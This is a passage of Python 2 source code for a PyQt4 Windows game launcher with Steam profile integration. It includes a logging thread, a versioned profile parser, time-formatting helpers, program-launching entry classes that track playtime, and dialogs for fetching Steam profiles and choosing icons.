d.label = "Unknown entry" d.totalTime = 0. d.iconPath = "" d.appid = 0 return d class LogHandler: """ Abstract base class for an object with logging capabilities. Logs are written to a logfile specified when creating the object, writing operations are done by a separate thread in regular intervals, so don't be afraid to log often and much, the main program will not be delayed by this. When subclassing this class, make sure to call LogHandler.__del__ in the new destructor, otherwise the logging thread might not exit correctly. Look for 'Stopping logger thread.' lines in the logfile, if these are not present, the thread was probably killed too soon. """ def __init__(self, logEnabled = True, logFile = None): self.logEnabled = logEnabled self.logCodepage= 'utf-8' self.logFile = logFile self._logsToWrite = [] self._runLoggerThread = True self._loggerThread = threading.Thread(target=self._LoggerLoop) self._loggerThread.daemon = True # killed automatically on closing the program. self._loggerThread.start() def __del__(self): # stop logger thread self._Log("Stopping logger thread.") self._runLoggerThread = False self._loggerThread.join(timeout=5) # wait for logger thread to finish if self._loggerThread.isAlive(): raise Exception('Failed to terminate logger thread. Please kill the program manually. Log files might be corrupt.') def _Log(self, text): """ Add text to log file, if logging is enabled. """ if self.logEnabled: timestamp = time.strftime(STAMPFORMAT) self._logsToWrite.append(timestamp + text + '\n') # append is thread safe def _LoggerLoop(self): self._Log("Logger thread running.") while self._runLoggerThread: while len(self._logsToWrite) > 0: newLog = self._logsToWrite.pop(0) if not self.logFile: raise IOError('No logfile specified for log handler class!', self) with codecs.open(self.logFile, 'a', self.logCodepage) as f: f.write(newLog) time.sleep(0.3) # write remaining logs and then quit while len(self._logsToWrite) > 0: newLog = self._logsToWrite.pop(0) if not self.logFile: raise IOError('No logfile specified for log handler class!', self) with codecs.open(self.logFile, 'a', self.logCodepage) as f: f.write(newLog) class FileParser(LogHandler): # dictionary with main profile format specifiers, accessed by format version profileFormats = { '0.1a': [ ('iconSize', int), ('numEntries', int), ('windowSize', (int,int)), ('windowPos', (int,int)), ('toolsVisible', int) ] , '0.1b': [ ('iconSize', int), ('numEntries', int), ('windowSize', (int,int)), ('windowPos', (int,int)), ('toolsVisible', int), ('sortMode', str) ] , '0.1c': [ ('iconSize', int), ('numEntries', int), ('windowSize', (int,int)), ('windowPos', (int,int)), ('toolsVisible', int), ('sortMode', str), ('steamId', str) ] } # dictionary with entry format specifiers, accessed by format version entryFormats = { '0.1a': [ ('filename', unicode), ('workingDir', unicode), ('label', unicode), ('cmdLineArgs', unicode), ('iconPath', unicode), ('preferredIcon', int), ('position', int), ('totalTime', float) ] , '0.1b': [ ('filename', unicode), ('workingDir', unicode), ('label', unicode), ('cmdLineArgs', unicode), ('iconPath', unicode), ('preferredIcon', int), ('position', int), ('totalTime', float), ('lastPlayed', float) ]} # dictionary with Steam entry format specifiers, accessed by format version steamEntryFormats = { 'Steam_0.1a': [ ('label', unicode), ('iconFile', unicode), ('totalTime', float), ('appid', int) ]} def __init__(self, logEnabled = True): LogHandler.__init__(self, logEnabled, 'parser.log') if logEnabled: self._Log("Creating file parser object.") def __del__(self): LogHandler.__del__(self) def CompleteEntry(self, handler, version): """ Fills all entry parameters which still are None with their default values. This should be called after loading an entry to have consistent data in it. Returns the number of modified variables. """ count = 0 try: fmt = FileParser.entryFormats[version] except KeyError: raise ValueError('FileParser error: Unknown file version specifier \'%s\'. Unable to parse entry.' % version) return 0 #self._Log("Completing entry with default values according to version %s." % version) for var, type in fmt: if getattr(handler, var) is None: setattr(handler, var, getattr(EntrySettings.Default(), var)) count += 1 self._Log("Completed entry by setting %i variables to their default values.\n" % count) return count def CompleteProfile(self, handler, version): """ Fills all profile parameters which still are None with their default values. This should be called after loading a profile to have consistent data in it. Returns the number of modified entries. """ count = 0 try: fmt = FileParser.profileFormats[version] except KeyError: raise ValueError('FileParser error: Unknown file version specifier \'%s\'. Unable to parse profile.' % version) return 0 #self._Log("Completing profile with default values according to version %s." % version) for var, type in fmt: if getattr(handler, var) == None: setattr(handler, var, getattr(ProfileSettings.Default(), var)) count += 1 self._Log("Completed profile by setting %i variables to their default values.\n" % count) return count def ParseByVersion(self, file, handler, version, type): """ Calls parse with the correct format specifier determind by version string (e.g. '0.1a') and type, which must be either 'profile' or 'entry' to parse profile or entry settings, respectively. """ self._Log("Requesting file format specifier for version '%s' (%s)." % (version, type)) if type == 'profile': try: fmt = FileParser.profileFormats[version] except KeyError: raise ValueError('FileParser error: Unknown file version specifier \'%s\'. Unable to parse profile.' % version) return elif type == 'entry': try: fmt = FileParser.entryFormats[version] except KeyError: raise ValueError('FileParser error: Unknown file version specifier \'%s\'. Unable to parse entry.' % version) return elif type == 'steam': try: fmt = FileParser.steamEntryFormats[version] except KeyError: raise ValueError('FileParser error: Unknown file version specifier \'%s\'. Unable to parse Steam entry.' % version) return else: raise ValueError('FileParser error: Invalid type argument for ParseByVersion: \'%s\' - must be \'profile\', \'entry\' or \'steam\'!' % type) return return self.Parse(file, handler, fmt) def Parse(self, file, handler, format): """ Parse file 'file' according to format specifier 'format' and store results in the object 'handler' via setattr. 'file' - handle to a file, already opened for reading, preferably with codecs.open to ensure the right codepage is used. 'handler' - an arbitrary object, where parsing results will be stored via setattr, using the variable names specified in 'format'. 'format' - a list of (var, datatype) tuples which specify var: the variable name to store in handler datatype: function pointer to a casting function converting the input string to the desired data type (e.g. int, float). Can be a one-dimensional tuple (e.g. (int, int)), one line is read per tuple entry. DO NOT USE bool as datatype, use int instead! Be careful when using unicode-Strings in tuples, this might be bugged. If you want to use a specific file version format known to the FileParser class, use ParseByVersion instead! """ for (var, datatype) in format: # check if datatype is a tuple if type(datatype) is TupleType: varList = [] for subType in datatype: line = file.readline() self._Log("Parsed line: %s" % line.strip()) try: value = subType(line) except ValueError: raise ValueError("Profile loading error:\nUnable to convert"\ + " input line '%s' (%s) to type %s!\n" % (line, var, str(subType))\ + "Profile might be corrupted.") if subType in (StringType, UnicodeType): value = value.strip() # strip newline varList.append(value) setattr(handler, var, tuple(varList)) self._Log("Set handler member variable '%s' to '" % var+ str(tuple(varList))+ "'.") else: line = file.readline() self._Log("Parsed line: %s" % line.strip()) try: value = datatype(line) except ValueError: raise ValueError("Profile loading error:\nUnable to convert"\ + " input line '%s' (%s) to type %s!\n" % (line, var, str(datatype))\ + "Profile might be corrupted.") if datatype in (StringType, UnicodeType): value = value.strip() # strip newline setattr(handler, var, value) svalue = str(value) if datatype not in (StringType, UnicodeType) else value self._Log("Set handler member variable '%s' to '" % var+ svalue + "'.") self._Log("Finished parsing.\n") def WriteByVersion(self, file, handler, version, type): """ Calls write with the correct format specifier determind by version string (e.g. '0.1a') and type, which must be either 'profile' or 'entry' to parse profile or entry settings, respectively. """ self._Log("Requesting file format specifier for version '%s' (%s)." % (version, type)) if type == 'profile': try: fmt = FileParser.profileFormats[version] except KeyError: raise ValueError('FileParser error: Unknown file version specifier \'%s\'. Unable to parse profile.' % version) return elif type == 'entry': try: fmt = FileParser.entryFormats[version] except KeyError: raise ValueError('FileParser error: Unknown file version specifier \'%s\'. Unable to parse entry.' % version) return elif type == 'steam': try: fmt = FileParser.steamEntryFormats[version] except KeyError: raise ValueError('FileParser error: Unknown file version specifier \'%s\'. Unable to parse entry.' % version) return else: raise ValueError('FileParser error: Invalid type argument for ParseByVersion: \'%s\' - must be \'profile\', \'entry\' or \'steam\'!' % type) return return self.Write(file, handler, fmt) def Write(self, file, handler, format): """ Write to file 'file' according to format specifier 'format' and attributes of the object 'handler' via getattr. 'file' - handle to a file, already opened for writing, preferably with codecs.open to ensure the right codepage is used. 'handler' - an object storing all data that must be written in its member variables. 'format' - a list of (var, datatype) tuples which specify var: the handler's member variable name to access datatype: type of exported data, values might be casted into this type to prevent load/save issues. Can be a one-dimensional tuple (e.g. (int, int)), one line is written per tuple entry. DO NOT USE bool as datatype, use int instead! If you want to use a specific file version format known to the FileParser class, use WriteByVersion instead! """ for (var, datatype) in format: try: v = getattr(handler, var) except NameError: raise NameError("FileParser error: Handler object has no member variable named '%s'!" % var) return # check if datatype is a tuple if type(datatype) is TupleType: for i in range(len(datatype)): try: vi = v[i] except IndexError: raise IndexError("FileParser error: Handler object's tuple member variable '%s' has only %i entries, " % (var, len(v))\ +" but index number %i was accessed." % i) return try: cvi = datatype[i](vi) # cast to correct type, especially convert True/False to 1/0 except ValueError, TypeError: raise ValueError("FileParser error: Handler object's member variable '%s' can not be converted to " % var\ +"its specified data type %s" % datatype[i]) return scvi = str(cvi) if datatype[i] not in (UnicodeType, StringType) else cvi scvis = scvi.strip() file.write(scvis) file.write('\n') self._Log("Wrote handler member variable '%s' as '" % var + scvis + "'.") else: try: cv = datatype(v) # cast to correct type, especially convert True/False to 1/0 except ValueError, TypeError: raise ValueError("FileParser error: Handler object's member variable '%s' can not be converted to " % var\ +"its specified data type %s" % datatype) return scv = str(cv) if datatype not in (UnicodeType, StringType) else cv scvs = scv.strip() file.write(scvs) file.write('\n') self._Log("Wrote handler member variable '%s' as '" % var + scvs + "'.") self._Log("Finished writing.\n") def flushLogfiles(list, codepage): for file in list: with codecs.open(file, 'w', codepage) as f: f.write("# -*- coding: %s -*-\n" % codepage) f.write(time.strftime(STAMPFORMAT) + "... *** Starting program, old logfile erased *** ...\n") f.write("\n") def formatLastPlayed(time): """ Format a specified date/time (in seconds since the epoch) into a nice printing format. """ if time == 0.: return "Never" else: lpDate = datetime.date.fromtimestamp(time) deltaDays = (datetime.date.today() - lpDate).days if deltaDays == 0: return "Today" elif deltaDays == 1: return "Yesterday" elif 1 < deltaDays and deltaDays < 6: return lpDate.strftime('%A') else: return lpDate.strftime('%d.%m.%y') def formatTime(time, escapeLt=False): """ Format a specified time (in seconds) into a nice printing format. """ if time < 60.: return "< 1m" if not escapeLt else "&lt; 1m" elif time < 20.*60: return "%im %is" % (time//60, time%60) elif time < 60.*60: return "%im" % (time//60) elif time < 20.*60*60: return "%ih %im" % (time//3600, (time%3600)//60) elif time < 200.*60*60: return "%ih" % (time//3600) else: return "%id %ih" % (time//86400, (time%86400)//3600) def openFileWithCodepage(filename, mode='r'): """ Opens a file general, reads its codepage, opens it again with the correct codepage, skips the codepage (if reading) / writes the codepage (if writing), and returns the file object """ # determine encoding with open(filename, 'r') as f: codepage = f.readline().strip() codepage = codepage.replace('# -*- coding:','').replace('-*-','').strip() if len(codepage) == 0: raise ValueError('Empty file') return None # try to open file with this encoding try: f = codecs.open(filename, mode, codepage) f.close() except LookupError: # unknown coding raise ValueError('Unknown codepage: %s' % codepage) return None f = codecs.open(filename, mode, codepage) # skip the codepage line if read-mode: if mode.lstrip('U').startswith('r'): f.readline() return f # write codepage to the first line if write-mode and return file object: elif mode.lstrip('U').startswith('w'): f.write("# -*- coding: %s -*-\n" % codepage) return f # else (append mode): just return file object elif mode.lstrip('U').startswith('a'): return f else: raise ValueError('Unsupported file opening mode: %s' % mode) return None def din5007(input): """ This function implements sort keys for the german language according to DIN 5007.""" # key1: compare words lowercase and replace umlauts according to DIN 5007 key1=input.lower() key1=key1.replace(u'\x84', "a") key1=key1.replace(u'\x94', "o") key1=key1.replace(u'\x81', "u") key1=key1.replace(u'\xE1', "ss") # key2: sort the lowercase word before the uppercase word and sort # the word with umlaut after the word without umlaut key2=input.swapcase() # in case two words are the same according to key1, sort the words # according to key2. return (key1, key2) def stringToFilename(s): validChars = "-_.() %s%s" % (string.ascii_letters, string.digits) return ''.join(char for char in s if char in validChars)
Python
import pickle, os, time import subprocess, threading import ctypes from ctypes import byref from win32api import * try: from winxpgui import * except ImportError: from win32gui import * from win32gui_struct import * import win32com.client usr32 = ctypes.windll.user32 from PyQt4 import QtGui, QtCore from PyQt4.QtCore import Qt, pyqtSignal class AbstractEntry(QtCore.QObject): def __init__(self): QtCore.QObject.__init__(self) self.icon = None self.loadedIconSize = 0 self.label = u"Unknown abstract entry" self.totalTime = 0. self.entryType = u"Abstract" self.isHidden = False class AppStarterEntry(AbstractEntry): ManualTracking = pyqtSignal(object) UpdateText = pyqtSignal() UpdateIcon = pyqtSignal() UpdateProfile = pyqtSignal() def __init__(self, path=None, parentWidget=None): AbstractEntry.__init__(self) self.parentWidget = parentWidget self.preferredIcon = 0 self.cmdLineArgs = "" self.lastPlayed = 0. # seconds since the epoch self.running = False self.label = u"Unknown application" self.entryType = u"FireStarter" self.position = 0 self.currentSessionTime = 0. if path is not None: head, tail = os.path.split(path) self.filename = path self.iconPath = path self.workingDir = head label = tail idx = tail.rfind('.') if idx>-1: label = label[:idx] self.label = label def ExportToFile(self, file): for s in (self.filename, self.workingDir, self.label, self.cmdLineArgs, self.iconPath): file.write(s) file.write('\n') pickle.dump(self.preferredIcon, file) pickle.dump(self.position, file) pickle.dump(self.totalTime, file) def ImportFromFile(self, file): self.filename = file.readline().strip() self.workingDir = file.readline().strip() self.label = file.readline().strip() self.cmdLineArgs = file.readline().strip() self.iconPath = file.readline().strip() #for string in [self.filename, self.workingDir, self.label]: # string = file.readline().strip() self.preferredIcon = pickle.load(file) self.position = pickle.load(file) self.totalTime = pickle.load(file) def LoadIcon(self, iconSize=256): # No Icon if self.preferredIcon == -1: self.icon=QtGui.QIcon(os.path.join("gfx","noicon.png")) return # Load Icon from local icon library elif self.preferredIcon == -2: self.icon=QtGui.QIcon(self.iconPath) return ###ELSE: # determine number of icons numIcons = win32gui.ExtractIconEx(self.iconPath, -1, 1) if(self.preferredIcon >= numIcons): self.preferredIcon = 0 if (numIcons == 0): raise IOError("No icons found in file %s!"%self.iconPath) self.icon=QtGui.QIcon(os.path.join("gfx","noicon.png")) return hIcon = ctypes.c_int() iconId = ctypes.c_int() # this is used instead of win32gui.ExtractIconEx because we need arbitrarily sized icons res = usr32.PrivateExtractIconsW(ctypes.c_wchar_p(self.iconPath), self.preferredIcon, iconSize,\ iconSize, byref(hIcon), byref(iconId), 1, 0) if (res == 0): raise IOError("Could not extract %dx%dpx icon from file %s." % (iconSize, iconSize, self.iconPath)) self.icon=QtGui.QIcon(os.path.join("gfx","noicon.png")) return hIcon = hIcon.value # unpack c_int pm = QtGui.QPixmap.fromWinHICON(hIcon) DestroyIcon(hIcon) self.icon = QtGui.QIcon() self.icon.addPixmap(pm) self.loadedIconSize = iconSize def Run(self): if self.running: QtGui.QMessageBox.warning(self.parentWidget, "Warning","Application already running!") return try: prc = subprocess.Popen([self.filename, self.cmdLineArgs], shell=True, cwd=self.workingDir) except WindowsError: QtGui.QMessageBox.critical(self.parentWidget, "Error", "Could not start process. Please check the path and filename:\n\"%s\" %s" % (self.filename, self.cmdLineArgs)) return self.running = True self.UpdateText.emit() svThread = threading.Thread(target=self.SuperviseProcess, args=(prc,)) svThread.start() def SuperviseProcess(self, process): startTime = time.clock() # process supervising loop while(process.poll() is None): runtime = time.clock() - startTime self.currentSessionTime = runtime # atomic, threadsafe self.UpdateText.emit() # threadsafe time.sleep(2.) runtime = time.clock() - startTime if runtime < 30.: # program was probably started as another subprocess: self.ManualTracking.emit(self) self.totalTime += runtime self.lastPlayed = time.time() self.running = False self.UpdateProfile.emit() self.UpdateText.emit() return class SteamEntry(AbstractEntry): def __init__(self, parentWidget=None): AbstractEntry.__init__(self) self.loadedIconSize = 32 self.label = u"Unknown Steam application" self.entryType = u"Steam" self.isHidden = True self.appid = 0 def ImportFromSteamGameStats(self, g): self.label = g.name self.totalTime = 60.*g.playtime self.iconFile = "%s_%s.jpg" % (g.appid, g.iconUrl) self.LoadIcon() self.appid = g.appid def LoadIcon(self, iconSize=32): iconPath = os.path.join("cache", "steam", "%s" % self.iconFile) if not os.path.isfile(iconPath): self.icon=QtGui.QIcon(os.path.join("gfx","noicon.png")) else: self.icon=QtGui.QIcon(iconPath)
Python
# -*- coding: utf-8 -*- import os import ctypes import time import urllib2 import threading from PyQt4 import QtGui, QtCore from PyQt4.QtCore import Qt, pyqtSignal from ctypes import byref from win32api import * try: from winxpgui import * except ImportError: from win32gui import * from win32gui_struct import * import win32com.client usr32 = ctypes.windll.user32 from widgets import IconSizeComboBox, AutoSelectAllLineEdit, OverviewRenderArea, LibraryListWidget from steamapi import SteamApi from util import formatTime from entries import SteamEntry lastdir = "." class SteamProfileDialog(QtGui.QDialog): FailedSteamIdQuery = pyqtSignal() FailedPlayerSummaryQuery = pyqtSignal() FailedAvatarDl = pyqtSignal() InvalidUserQuery = pyqtSignal() SuccessfulAvatarDl = pyqtSignal() SuccessfulSteamIdQuery = pyqtSignal(str) SuccessfulPlayerSummaryQuery = pyqtSignal(object) class enterUsernameWidget(QtGui.QWidget): def __init__(self, parent = None): QtGui.QWidget.__init__(self, parent) self.usernameLe = QtGui.QLineEdit(self) self.usernameLe.setFocus() dlgNavLay = QtGui.QHBoxLayout() self.nextBtn = QtGui.QPushButton("&Next >>", self) self.nextBtn.setDefault(True) self.nextBtn.clicked.connect(self.parent().UsernameEntered) #self.okBtn.setEnabled(False) self.cancelBtn = QtGui.QPushButton("&Cancel", self) self.cancelBtn.clicked.connect(self.parent().reject) dlgNavLay.addWidget(self.cancelBtn) dlgNavLay.addStretch(1) dlgNavLay.addWidget(self.nextBtn) layout = QtGui.QGridLayout() layout.addWidget(QtGui.QLabel("Please enter your Steam username (found in your profile URL):"), 0, 0, 1, 2) layout.addWidget(QtGui.QLabel("http://steamcommunity.com/id/"), 1, 0, QtCore.Qt.AlignRight) layout.addWidget(self.usernameLe, 1, 1) layout.addLayout(dlgNavLay, 3, 0, 1, 2) self.setLayout(layout) class confirmProfileWidget(QtGui.QWidget): def __init__(self, parent = None): QtGui.QWidget.__init__(self, parent) self.avatarLbl = QtGui.QLabel() self.nameLbl = QtGui.QLabel() self.steamIdLbl = QtGui.QLabel() self.lastOnlineLbl = QtGui.QLabel() self.nextBtn = QtGui.QPushButton("&Yes", self) self.nextBtn.setDefault(True) self.nextBtn.setFocus() self.nextBtn.clicked.connect(self.parent().accept) self.backBtn = QtGui.QPushButton("<< &Back", self) self.backBtn.clicked.connect(self.parent().BackToUsernameWdg) self.cancelBtn = QtGui.QPushButton("&Cancel", self) self.cancelBtn.clicked.connect(self.parent().reject) self.downloadInfoCb = QtGui.QCheckBox("&Download profile data", self) self.downloadInfoCb.setChecked(True) dlgNavLay = QtGui.QHBoxLayout() dlgNavLay.addWidget(self.cancelBtn) dlgNavLay.addStretch(1) dlgNavLay.addWidget(self.backBtn) dlgNavLay.addWidget(self.nextBtn) layout = QtGui.QGridLayout() layout.addWidget(QtGui.QLabel("Connect to profile?"), 0, 0, 1, 2) layout.addWidget(self.avatarLbl, 1, 0, 4, 1, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) layout.addWidget(self.nameLbl, 1, 1) layout.addWidget(self.steamIdLbl, 2, 1) layout.addWidget(self.lastOnlineLbl, 3, 1) layout.addWidget(self.downloadInfoCb, 4, 1) layout.addLayout(dlgNavLay, 5, 0, 1, 2) layout.setRowStretch(1, 1) self.setLayout(layout) def Fill(self, username, playerSummary): avatar = QtGui.QPixmap(os.path.join('cache', '%s.jpg' % playerSummary.steamid)) if avatar.isNull(): avatar = QtGui.QPixmap(os.path.join('gfx', 'noavatar.png')) self.avatarLbl.setPixmap(avatar) self.nameLbl.setText('<b>%s</b> (%s)' % (username, playerSummary.personaname)) self.steamIdLbl.setText('Steam ID: <b>%s</b>' % playerSummary.steamid) if int(playerSummary.personastate) == 0: timeStr = time.strftime('%a %d. %b %Y, %H:%M', time.localtime(float(playerSummary.lastlogoff))) self.lastOnlineLbl.setText('Last online: <b>%s</b>' % timeStr) else: self.lastOnlineLbl.setText('<span style="color: green;"><b>Currently online</b></span>') def __init__(self, parent=None): QtGui.QDialog.__init__(self, parent) self.steamapi = SteamApi() self.tries = 0 self.setWindowTitle("Add Steam profile") #self.resize(370,180) self.confirmProfileWdg = SteamProfileDialog.confirmProfileWidget(self) self.enterUsernameWdg = SteamProfileDialog.enterUsernameWidget(self) self.setLayout(QtGui.QStackedLayout()) self.layout().addWidget(self.enterUsernameWdg) self.layout().addWidget(self.confirmProfileWdg) # init connections self.FailedSteamIdQuery.connect(self.RetrySteamIdQuery) self.FailedPlayerSummaryQuery.connect(self.NoPlayerSummaryFound) self.FailedAvatarDl.connect(self.AvatarNotReceived) self.InvalidUserQuery.connect(self.InvalidUsernameDetected) self.SuccessfulSteamIdQuery.connect(self.SteamIdReceived) self.SuccessfulPlayerSummaryQuery.connect(self.PlayerSummaryReceived) self.SuccessfulAvatarDl.connect(self.AvatarReceived) def __del__(self): self.steamapi.__del__() def accept(self): self.downloadProfileData = self.confirmProfileWdg.downloadInfoCb.isChecked() QtGui.QDialog.accept(self) def reject(self): # disconnect all connections to not respond to any threads still working when they finish self.FailedSteamIdQuery.disconnect() self.FailedPlayerSummaryQuery.disconnect() self.FailedAvatarDl.disconnect() self.InvalidUserQuery.disconnect() self.SuccessfulSteamIdQuery.disconnect() self.SuccessfulPlayerSummaryQuery.disconnect() self.SuccessfulAvatarDl.disconnect() QtGui.QDialog.reject(self) # shut down query thread, if it is still working # --- not needed anymore, as this dialog is a member of the MainWindow object, # --- it will be kept until closing the program, so the already disconnected # --- threads have enough time to finish whatever they are currently doing. #if hasattr(self, 'queryThread') and self.queryThread.isAlive(): # self.queryThread.join(0.1) # if self.queryThread.isAlive(): # raise Exception('SteamProfileDialog could not shut down query thread!') def Thread_DownloadAvatar(self, url, steamid): try: with open(os.path.join('cache', '%i.jpg' % steamid), 'wb') as localFile: avatarFile = urllib2.urlopen(url, timeout=10) localFile.write(avatarFile.read()) avatarFile.close() except (IOError, urllib2.URLError): self.FailedAvatarDl.emit() return self.SuccessfulAvatarDl.emit() def Thread_GetSteamIdByUsername(self, username): # start query ... this takes a while steamid = self.steamapi.GetSteamIdByUsername(username) if steamid is None: self.FailedSteamIdQuery.emit() elif steamid is SteamApi.ERR_INVALID_USER: self.InvalidUserQuery.emit() else: self.SuccessfulSteamIdQuery.emit(str(steamid)) def Thread_GetPlayerSummary(self, steamid): # start query ... this might take a bit playerSummary = self.steamapi.GetPlayerSummary(steamid) if playerSummary is None: self.FailedPlayerSummaryQuery.emit() else: self.SuccessfulPlayerSummaryQuery.emit(playerSummary) def BackToUsernameWdg(self): self.CancelSteamQueries() self.layout().setCurrentWidget(self.enterUsernameWdg) def CancelSteamQueries(self): self.progressBar.hide() self.pbLbl.hide() self.enterUsernameWdg.nextBtn.setEnabled(True) self.enterUsernameWdg.cancelBtn.setEnabled(True) self.enterUsernameWdg.usernameLe.setEnabled(True) def RetrySteamIdQuery(self): if self.tries >= 10: self.CancelSteamQueries() QtGui.QMessageBox.critical(self, "Error", "Could not fetch profile information.\nPlease check your internet connection and/or try again later.") return self.progressBar.setValue(self.tries) self.pbLbl.setText("Please wait a moment.\nRequesting Steam ID ... (%i)" % self.tries) self.tries += 1 self.queryThread = threading.Thread(target=self.Thread_GetSteamIdByUsername, args=(self.username,)) self.queryThread.start() def SteamIdReceived(self, steamid): self.progressBar.setValue(10) self.pbLbl.setText("Found profile %s!\nFetching profile summary ..." % steamid) self.steamId = int(steamid) # start player summary query self.queryThread = threading.Thread(target=self.Thread_GetPlayerSummary, args=(int(steamid),)) self.queryThread.start() def NoPlayerSummaryFound(self): result = QtGui.QMessageBox.critical(self, "Error", "Could not find player information for steam ID %i." % self.steamId, QtGui.QMessageBox.Retry | QtGui.QMessageBox.Cancel) if result == QtGui.QMessageBox.Retry: self.tries = 0 self.RetrySteamIdQuery() elif result == QtGui.QMessageBox.Cancel: self.CancelSteamQueries() def InvalidUsernameDetected(self): QtGui.QMessageBox.critical(self, "Error", "Steam did not return a profile for username %s.\nPlease check the username and try again." % self.username) self.CancelSteamQueries() self.enterUsernameWdg.usernameLe.selectAll() self.enterUsernameWdg.usernameLe.setFocus() def PlayerSummaryReceived(self, playerSummary): self.progressBar.setValue(20) self.pbLbl.setText("Received profile summary.\nDownloading avatar ...") self.playerSummary = playerSummary self.queryThread = threading.Thread(target=self.Thread_DownloadAvatar, args=(playerSummary.avatarmedium, self.steamId)) self.queryThread.start() def AvatarReceived(self): self.progressBar.setValue(25) self.pbLbl.setText("Downloaded Avatar ... Proceeding.") QtGui.qApp.processEvents() time.sleep(0.6) # proceed to next dialog page self.layout().setCurrentWidget(self.confirmProfileWdg) self.confirmProfileWdg.Fill(self.username, self.playerSummary) self.enterUsernameWdg.nextBtn.setEnabled(True) self.enterUsernameWdg.cancelBtn.setEnabled(True) def AvatarNotReceived(self): result = QtGui.QMessageBox.warning(self, "Warning", "Unable to download avatar. Please check if the folder 'cache' exists in your FireStarter directory.", QtGui.QMessageBox.Retry | QtGui.QMessageBox.Ignore | QtGui.QMessageBox.Cancel) if result == QtGui.QMessageBox.Retry: # try again self.queryThread = threading.Thread(target=self.Thread_DownloadAvatar, args=(self.playerSummary.avatarmedium, self.steamId)) self.queryThread.start() elif result == QtGui.QMessageBox.Ignore: # proceed to next dialog page self.layout().setCurrentWidget(self.confirmProfileWdg) self.confirmProfileWdg.Fill(self.username, self.playerSummary) self.enterUsernameWdg.nextBtn.setEnabled(True) self.enterUsernameWdg.cancelBtn.setEnabled(True) elif result == QtGui.QMessageBox.Cancel: self.CancelSteamQueries() return def UsernameEntered(self): # try to fetch profile self.username = str(self.enterUsernameWdg.usernameLe.text()) if len(self.username) == 0: QtGui.QMessageBox.critical(self, "Error", "Please enter a valid Steam username!") return self.tries = 0 #self.enterUsernameWdg.cancelBtn.setEnabled(False) self.enterUsernameWdg.nextBtn.setEnabled(False) self.enterUsernameWdg.usernameLe.setEnabled(False) self.pbLbl = QtGui.QLabel("Please wait a moment.\nRequesting Steam ID ... (1)") self.progressBar = QtGui.QProgressBar(self.enterUsernameWdg) self.progressBar.setMaximum(30) # 0-10 = 10 tries of receiving steam ID, 10-20 = Summary, 20-25 = Avatar, 25-30 = finished self.enterUsernameWdg.layout().addWidget(self.pbLbl, 2, 0) self.enterUsernameWdg.layout().addWidget(self.progressBar, 2, 1) # start query thread and return, waiting for the Thread's finished signal self.tries += 1 self.queryThread = threading.Thread(target=self.Thread_GetSteamIdByUsername, args=(self.username,)) self.queryThread.start() return class ChooseIconDialog(QtGui.QDialog): """ Dialog which loads icons from one or several files, displays them in a list widget, and allows to choose one of them. When called with exec_(), the call returns 'None' if Cancel was pressed, otherwise it returns a tuple of (filename,id) for the icon in 'filename' with id 'id'. """ def __init__(self, parent=None, file=None, suggestions=False): global lastdir QtGui.QDialog.__init__(self, parent) self.setWindowTitle("Choose icon") self.resize(600,380) self.basefile = file if self.basefile: lastdir = os.path.dirname(self.basefile) self.noIcon = False # only set true if 'No icon' is clicked # create widgets self.okBtn = QtGui.QPushButton("&Ok", self) self.okBtn.setDefault(True) self.okBtn.clicked.connect(self.accept) self.okBtn.setEnabled(False) self.noIconBtn = QtGui.QPushButton("&No icon", self) self.noIconBtn.clicked.connect(self.ReturnNoIcon) self.cancelBtn = QtGui.QPushButton("&Cancel", self) self.cancelBtn.clicked.connect(self.reject) self.cancelBtn.setFocus() self.selectFileBtn = QtGui.QPushButton("&Select file...", self) self.selectFileBtn.clicked.connect(self.SelectFile) self.countLabel = QtGui.QLabel("0 icons found.") size = QtCore.QSize(128,128) self.iconsList = QtGui.QListWidget(self) self.iconsList.setViewMode(QtGui.QListView.IconMode) self.iconsList.setIconSize(size) #self.iconsList.setGridSize(size) self.iconsList.setMovement(QtGui.QListView.Static) self.iconsList.itemDoubleClicked.connect(self.accept) self.iconSizeComboBox = IconSizeComboBox(self) self.iconSizeComboBox.IconSizeChanged.connect(self.SetIconSize) # init layout buttonsLayout= QtGui.QHBoxLayout() buttonsLayout.addWidget(self.okBtn) buttonsLayout.addWidget(self.cancelBtn) buttonsLayout.addWidget(self.noIconBtn) buttonsLayout.addWidget(self.selectFileBtn) buttonsLayout.addWidget(self.countLabel) mainLayout = QtGui.QVBoxLayout(self) topLayout = QtGui.QHBoxLayout() if suggestions: topLayout.addWidget(QtGui.QLabel("Suggested icons:")) topLayout.addStretch(1) topLayout.addWidget(self.iconSizeComboBox) mainLayout.addLayout(topLayout) mainLayout.addWidget(self.iconsList) mainLayout.addLayout(buttonsLayout) self.setLayout(mainLayout) # fill icon list self.Fill(file, suggestions) self.iconsList.itemSelectionChanged.connect(self.SelectionChanged) def exec_(self): result = QtGui.QDialog.exec_(self) if result == QtGui.QDialog.Accepted and self.noIcon: return "", -1 elif result == QtGui.QDialog.Accepted and len(self.iconsList.selectedItems())==1: icon = self.iconsList.selectedItems()[0] return icon.file, icon.id else: return None def AddIcons(self, file): iconSize = 256 # determine number of icons in file numIcons = win32gui.ExtractIconEx(file, -1, 1) if (numIcons == 0): # try to load as image icon = QtGui.QIcon(file) id = -2 if icon is None: return 0 else: for id in range(numIcons): # load icon hIcon = ctypes.c_int() iconId = ctypes.c_int() # this is used instead of win32gui.ExtractIconEx because we need arbitrarily sized icons res = usr32.PrivateExtractIconsW(ctypes.c_wchar_p(file), id, iconSize,\ iconSize, byref(hIcon), byref(iconId), 1, 0) if (res == 0): raise IOError("Could not extract icon #%i from file %s." % (id+1, file)) return hIcon = hIcon.value # unpack c_int pm = QtGui.QPixmap.fromWinHICON(hIcon) DestroyIcon(hIcon) icon = QtGui.QIcon() icon.addPixmap(pm) # add to list listEntry = QtGui.QListWidgetItem(self.iconsList) listEntry.setIcon(icon) listEntry.file = os.path.abspath(file) listEntry.id = id # return number of successfully loaded icons return id+1 def Fill(self, file, suggestions=False): count = 0 if not suggestions: count = self.AddIcons(file) else: for f in self.SuggestFiles(file): count += self.AddIcons(f) if count == 0: QtGui.QMessageBox.warning(self, "Warning", "No icons found! Please select one or more files with icons manually.") self.countLabel.setText("%i icon%s found." % (count, "" if count==1 else "s")) def FillList(self, files): count = 0 for f in files: count += self.AddIcons(str(f)) # need to convert from QString to python string if count == 0: QtGui.QMessageBox.warning(self, "Warning", "No icons found! Please select one or more files with icons manually.") self.countLabel.setText("%i icon%s found." % (count, "" if count==1 else "s")) def ReturnNoIcon(self): self.noIcon = True self.accept() def 